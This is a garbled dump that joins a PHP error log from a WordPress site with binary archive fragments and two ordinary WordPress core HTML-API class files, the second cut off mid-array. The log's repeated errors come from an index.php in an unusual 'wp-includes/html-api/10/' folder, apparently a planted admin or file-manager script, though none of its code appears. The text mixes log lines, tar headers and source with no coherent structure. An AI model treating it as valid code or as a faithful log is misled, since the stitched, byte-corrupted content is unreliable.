[14-Feb-2026 23:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:39 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:39 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:39 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:39 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:56 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:56 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:49:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:49:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:39 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:39 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:48 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:48 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:51 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:51 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:54 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:54 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:54 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:49:54 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:50:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:03 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:03 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:15 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/homerdlh/public_html/wp-includes/html-api/10/index.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1178
Stack trace:
#0 /home/homerdlh/public_html/wp-includes/html-api/10/index.php(1178): PharData->compress()
#1 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 23:50:18 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:18 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:27 UTC] PHP Warning:  Undefined variable $ext in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 23:50:27 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 23:50:31 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:31 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:29:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:29:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:32:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:32:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:32:14 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 01:32:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 01:32:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 01:33:47 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:33:47 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:34:02 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:34:02 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:34:35 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:34:35 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:34:35 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 01:34:35 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 01:35:20 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:35:20 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:39:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:39:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:39:42 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 01:39:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 01:39:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 01:39:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:39:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:39:45 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 01:39:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 01:39:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 01:40:03 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:40:03 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:40:03 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 01:40:03 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 01:40:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:40:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:40:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 01:40:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 01:40:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 01:41:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:41:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:41:17 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:41:17 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:41:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:41:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:41:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:41:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:42:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:42:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
PKgN\�A�&class-wp-html-text-replacement.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-text-replacement.php000064400000002601151440277760024244 0ustar00<?php
/**
 * HTML API: WP_HTML_Text_Replacement class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used by the HTML tag processor as a data structure for replacing
 * existing content from start to end, allowing to drastically improve performance.
 *
 * This class is for internal usage of the WP_HTML_Tag_Processor class.
 *
 * @access private
 * @since 6.2.0
 * @since 6.5.0 Replace `end` with `length` to more closely match `substr()`.
 *
 * @see WP_HTML_Tag_Processor
 */
class WP_HTML_Text_Replacement {
	/**
	 * Byte offset into document where replacement span begins.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $start;

	/**
	 * Byte length of span being replaced.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	public $length;

	/**
	 * Span of text to insert in document to replace existing content from start to end.
	 *
	 * @since 6.2.0
	 *
	 * @var string
	 */
	public $text;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 *
	 * @param int    $start  Byte offset into document where replacement span begins.
	 * @param int    $length Byte length of span in document being replaced.
	 * @param string $text   Span of text to insert in document to replace existing content from start to end.
	 */
	public function __construct( int $start, int $length, string $text ) {
		$this->start  = $start;
		$this->length = $length;
		$this->text   = $text;
	}
}
PKE�N\�V2HHclass-wp-html-decoder.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-decoder.php000064400000040464151440301140022355 0ustar00<?php

/**
 * HTML API: WP_HTML_Decoder class
 *
 * Decodes spans of raw text found inside HTML content.
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.6.0
 */
class WP_HTML_Decoder {
	/**
	 * Indicates if an attribute value starts with a given raw string value.
	 *
	 * Use this method to determine if an attribute value starts with a given string, regardless
	 * of how it might be encoded in HTML. For instance, `http:` could be represented as `http:`
	 * or as `http&colon;` or as `&#x68;ttp:` or as `h&#116;tp&colon;`, or in many other ways.
	 *
	 * Example:
	 *
	 *     $value = 'http&colon;//wordpress.org/';
	 *     true   === WP_HTML_Decoder::attribute_starts_with( $value, 'http:', 'ascii-case-insensitive' );
	 *     false  === WP_HTML_Decoder::attribute_starts_with( $value, 'https:', 'ascii-case-insensitive' );
	 *
	 * @since 6.6.0
	 *
	 * @param string $haystack         String containing the raw non-decoded attribute value.
	 * @param string $search_text      Does the attribute value start with this plain string.
	 * @param string $case_sensitivity Optional. Pass 'ascii-case-insensitive' to ignore ASCII case when matching.
	 *                                 Default 'case-sensitive'.
	 * @return bool Whether the attribute value starts with the given string.
	 */
	public static function attribute_starts_with( $haystack, $search_text, $case_sensitivity = 'case-sensitive' ): bool {
		$search_length = strlen( $search_text );
		$loose_case    = 'ascii-case-insensitive' === $case_sensitivity;
		$haystack_end  = strlen( $haystack );
		$search_at     = 0;
		$haystack_at   = 0;

		while ( $search_at < $search_length && $haystack_at < $haystack_end ) {
			$chars_match = $loose_case
				? strtolower( $haystack[ $haystack_at ] ) === strtolower( $search_text[ $search_at ] )
				: $haystack[ $haystack_at ] === $search_text[ $search_at ];

			$is_introducer = '&' === $haystack[ $haystack_at ];
			$next_chunk    = $is_introducer
				? self::read_character_reference( 'attribute', $haystack, $haystack_at, $token_length )
				: null;

			// If there's no character reference and the characters don't match, the match fails.
			if ( null === $next_chunk && ! $chars_match ) {
				return false;
			}

			// If there's no character reference but the character do match, then it could still match.
			if ( null === $next_chunk && $chars_match ) {
				++$haystack_at;
				++$search_at;
				continue;
			}

			// If there is a character reference, then the decoded value must exactly match what follows in the search string.
			if ( 0 !== substr_compare( $search_text, $next_chunk, $search_at, strlen( $next_chunk ), $loose_case ) ) {
				return false;
			}

			// The character reference matched, so continue checking.
			$haystack_at += $token_length;
			$search_at   += strlen( $next_chunk );
		}

		return true;
	}

	/**
	 * Returns a string containing the decoded value of a given HTML text node.
	 *
	 * Text nodes appear in HTML DATA sections, which are the text segments inside
	 * and around tags, excepting SCRIPT and STYLE elements (and some others),
	 * whose inner text is not decoded. Use this function to read the decoded
	 * value of such a text span in an HTML document.
	 *
	 * Example:
	 *
	 *     '“😄”' === WP_HTML_Decode::decode_text_node( '&#x93;&#x1f604;&#x94' );
	 *
	 * @since 6.6.0
	 *
	 * @param string $text Text containing raw and non-decoded text node to decode.
	 * @return string Decoded UTF-8 value of given text node.
	 */
	public static function decode_text_node( $text ): string {
		return static::decode( 'data', $text );
	}

	/**
	 * Returns a string containing the decoded value of a given HTML attribute.
	 *
	 * Text found inside an HTML attribute has different parsing rules than for
	 * text found inside other markup, or DATA segments. Use this function to
	 * read the decoded value of an HTML string inside a quoted attribute.
	 *
	 * Example:
	 *
	 *     '“😄”' === WP_HTML_Decode::decode_attribute( '&#x93;&#x1f604;&#x94' );
	 *
	 * @since 6.6.0
	 *
	 * @param string $text Text containing raw and non-decoded attribute value to decode.
	 * @return string Decoded UTF-8 value of given attribute value.
	 */
	public static function decode_attribute( $text ): string {
		return static::decode( 'attribute', $text );
	}

	/**
	 * Decodes a span of HTML text, depending on the context in which it's found.
	 *
	 * This is a low-level method; prefer calling WP_HTML_Decoder::decode_attribute() or
	 * WP_HTML_Decoder::decode_text_node() instead. It's provided for cases where this
	 * may be difficult to do from calling code.
	 *
	 * Example:
	 *
	 *     '©' = WP_HTML_Decoder::decode( 'data', '&copy;' );
	 *
	 * @since 6.6.0
	 *
	 * @access private
	 *
	 * @param string $context `attribute` for decoding attribute values, `data` otherwise.
	 * @param string $text    Text document containing span of text to decode.
	 * @return string Decoded UTF-8 string.
	 */
	public static function decode( $context, $text ): string {
		$decoded = '';
		$end     = strlen( $text );
		$at      = 0;
		$was_at  = 0;

		while ( $at < $end ) {
			$next_character_reference_at = strpos( $text, '&', $at );
			if ( false === $next_character_reference_at ) {
				break;
			}

			$character_reference = self::read_character_reference( $context, $text, $next_character_reference_at, $token_length );
			if ( isset( $character_reference ) ) {
				$at       = $next_character_reference_at;
				$decoded .= substr( $text, $was_at, $at - $was_at );
				$decoded .= $character_reference;
				$at      += $token_length;
				$was_at   = $at;
				continue;
			}

			++$at;
		}

		if ( 0 === $was_at ) {
			return $text;
		}

		if ( $was_at < $end ) {
			$decoded .= substr( $text, $was_at, $end - $was_at );
		}

		return $decoded;
	}

	/**
	 * Attempt to read a character reference at the given location in a given string,
	 * depending on the context in which it's found.
	 *
	 * If a character reference is found, this function will return the translated value
	 * that the reference maps to. It will then set `$match_byte_length` the
	 * number of bytes of input it read while consuming the character reference. This
	 * gives calling code the opportunity to advance its cursor when traversing a string
	 * and decoding.
	 *
	 * Example:
	 *
	 *     null === WP_HTML_Decoder::read_character_reference( 'attribute', 'Ships&hellip;', 0 );
	 *     '…'  === WP_HTML_Decoder::read_character_reference( 'attribute', 'Ships&hellip;', 5, $token_length );
	 *     8    === $token_length; // `&hellip;`
	 *
	 *     null === WP_HTML_Decoder::read_character_reference( 'attribute', '&notin', 0 );
	 *     '∉'  === WP_HTML_Decoder::read_character_reference( 'attribute', '&notin;', 0, $token_length );
	 *     7    === $token_length; // `&notin;`
	 *
	 *     '¬'  === WP_HTML_Decoder::read_character_reference( 'data', '&notin', 0, $token_length );
	 *     4    === $token_length; // `&not`
	 *     '∉'  === WP_HTML_Decoder::read_character_reference( 'data', '&notin;', 0, $token_length );
	 *     7    === $token_length; // `&notin;`
	 *
	 * @since 6.6.0
	 *
	 * @global WP_Token_Map $html5_named_character_references Mappings for HTML5 named character references.
	 *
	 * @param string $context            `attribute` for decoding attribute values, `data` otherwise.
	 * @param string $text               Text document containing span of text to decode.
	 * @param int    $at                 Optional. Byte offset into text where span begins, defaults to the beginning (0).
	 * @param int    &$match_byte_length Optional. Set to byte-length of character reference if provided and if a match
	 *                                   is found, otherwise not set. Default null.
	 * @return string|false Decoded character reference in UTF-8 if found, otherwise `false`.
	 */
	public static function read_character_reference( $context, $text, $at = 0, &$match_byte_length = null ) {
		/**
		 * Mappings for HTML5 named character references.
		 *
		 * @var WP_Token_Map $html5_named_character_references
		 */
		global $html5_named_character_references;

		$length = strlen( $text );
		if ( $at + 1 >= $length ) {
			return null;
		}

		if ( '&' !== $text[ $at ] ) {
			return null;
		}

		/*
		 * Numeric character references.
		 *
		 * When truncated, these will encode the code point found by parsing the
		 * digits that are available. For example, when `&#x1f170;` is truncated
		 * to `&#x1f1` it will encode `DZ`. It does not:
		 *  - know how to parse the original `🅰`.
		 *  - fail to parse and return plaintext `&#x1f1`.
		 *  - fail to parse and return the replacement character `�`
		 */
		if ( '#' === $text[ $at + 1 ] ) {
			if ( $at + 2 >= $length ) {
				return null;
			}

			/** Tracks inner parsing within the numeric character reference. */
			$digits_at = $at + 2;

			if ( 'x' === $text[ $digits_at ] || 'X' === $text[ $digits_at ] ) {
				$numeric_base   = 16;
				$numeric_digits = '0123456789abcdefABCDEF';
				$max_digits     = 6; // &#x10FFFF;
				++$digits_at;
			} else {
				$numeric_base   = 10;
				$numeric_digits = '0123456789';
				$max_digits     = 7; // &#1114111;
			}

			// Cannot encode invalid Unicode code points. Max is to U+10FFFF.
			$zero_count    = strspn( $text, '0', $digits_at );
			$digit_count   = strspn( $text, $numeric_digits, $digits_at + $zero_count );
			$after_digits  = $digits_at + $zero_count + $digit_count;
			$has_semicolon = $after_digits < $length && ';' === $text[ $after_digits ];
			$end_of_span   = $has_semicolon ? $after_digits + 1 : $after_digits;

			// `&#` or `&#x` without digits returns into plaintext.
			if ( 0 === $digit_count && 0 === $zero_count ) {
				return null;
			}

			// Whereas `&#` and only zeros is invalid.
			if ( 0 === $digit_count ) {
				$match_byte_length = $end_of_span - $at;
				return '�';
			}

			// If there are too many digits then it's not worth parsing. It's invalid.
			if ( $digit_count > $max_digits ) {
				$match_byte_length = $end_of_span - $at;
				return '�';
			}

			$digits     = substr( $text, $digits_at + $zero_count, $digit_count );
			$code_point = intval( $digits, $numeric_base );

			/*
			 * Noncharacters, 0x0D, and non-ASCII-whitespace control characters.
			 *
			 * > A noncharacter is a code point that is in the range U+FDD0 to U+FDEF,
			 * > inclusive, or U+FFFE, U+FFFF, U+1FFFE, U+1FFFF, U+2FFFE, U+2FFFF,
			 * > U+3FFFE, U+3FFFF, U+4FFFE, U+4FFFF, U+5FFFE, U+5FFFF, U+6FFFE,
			 * > U+6FFFF, U+7FFFE, U+7FFFF, U+8FFFE, U+8FFFF, U+9FFFE, U+9FFFF,
			 * > U+AFFFE, U+AFFFF, U+BFFFE, U+BFFFF, U+CFFFE, U+CFFFF, U+DFFFE,
			 * > U+DFFFF, U+EFFFE, U+EFFFF, U+FFFFE, U+FFFFF, U+10FFFE, or U+10FFFF.
			 *
			 * A C0 control is a code point that is in the range of U+00 to U+1F,
			 * but ASCII whitespace includes U+09, U+0A, U+0C, and U+0D.
			 *
			 * These characters are invalid but still decode as any valid character.
			 * This comment is here to note and explain why there's no check to
			 * remove these characters or replace them.
			 *
			 * @see https://infra.spec.whatwg.org/#noncharacter
			 */

			/*
			 * Code points in the C1 controls area need to be remapped as if they
			 * were stored in Windows-1252. Note! This transformation only happens
			 * for numeric character references. The raw code points in the byte
			 * stream are not translated.
			 *
			 * > If the number is one of the numbers in the first column of
			 * > the following table, then find the row with that number in
			 * > the first column, and set the character reference code to
			 * > the number in the second column of that row.
			 */
			if ( $code_point >= 0x80 && $code_point <= 0x9F ) {
				$windows_1252_mapping = array(
					0x20AC, // 0x80 -> EURO SIGN (€).
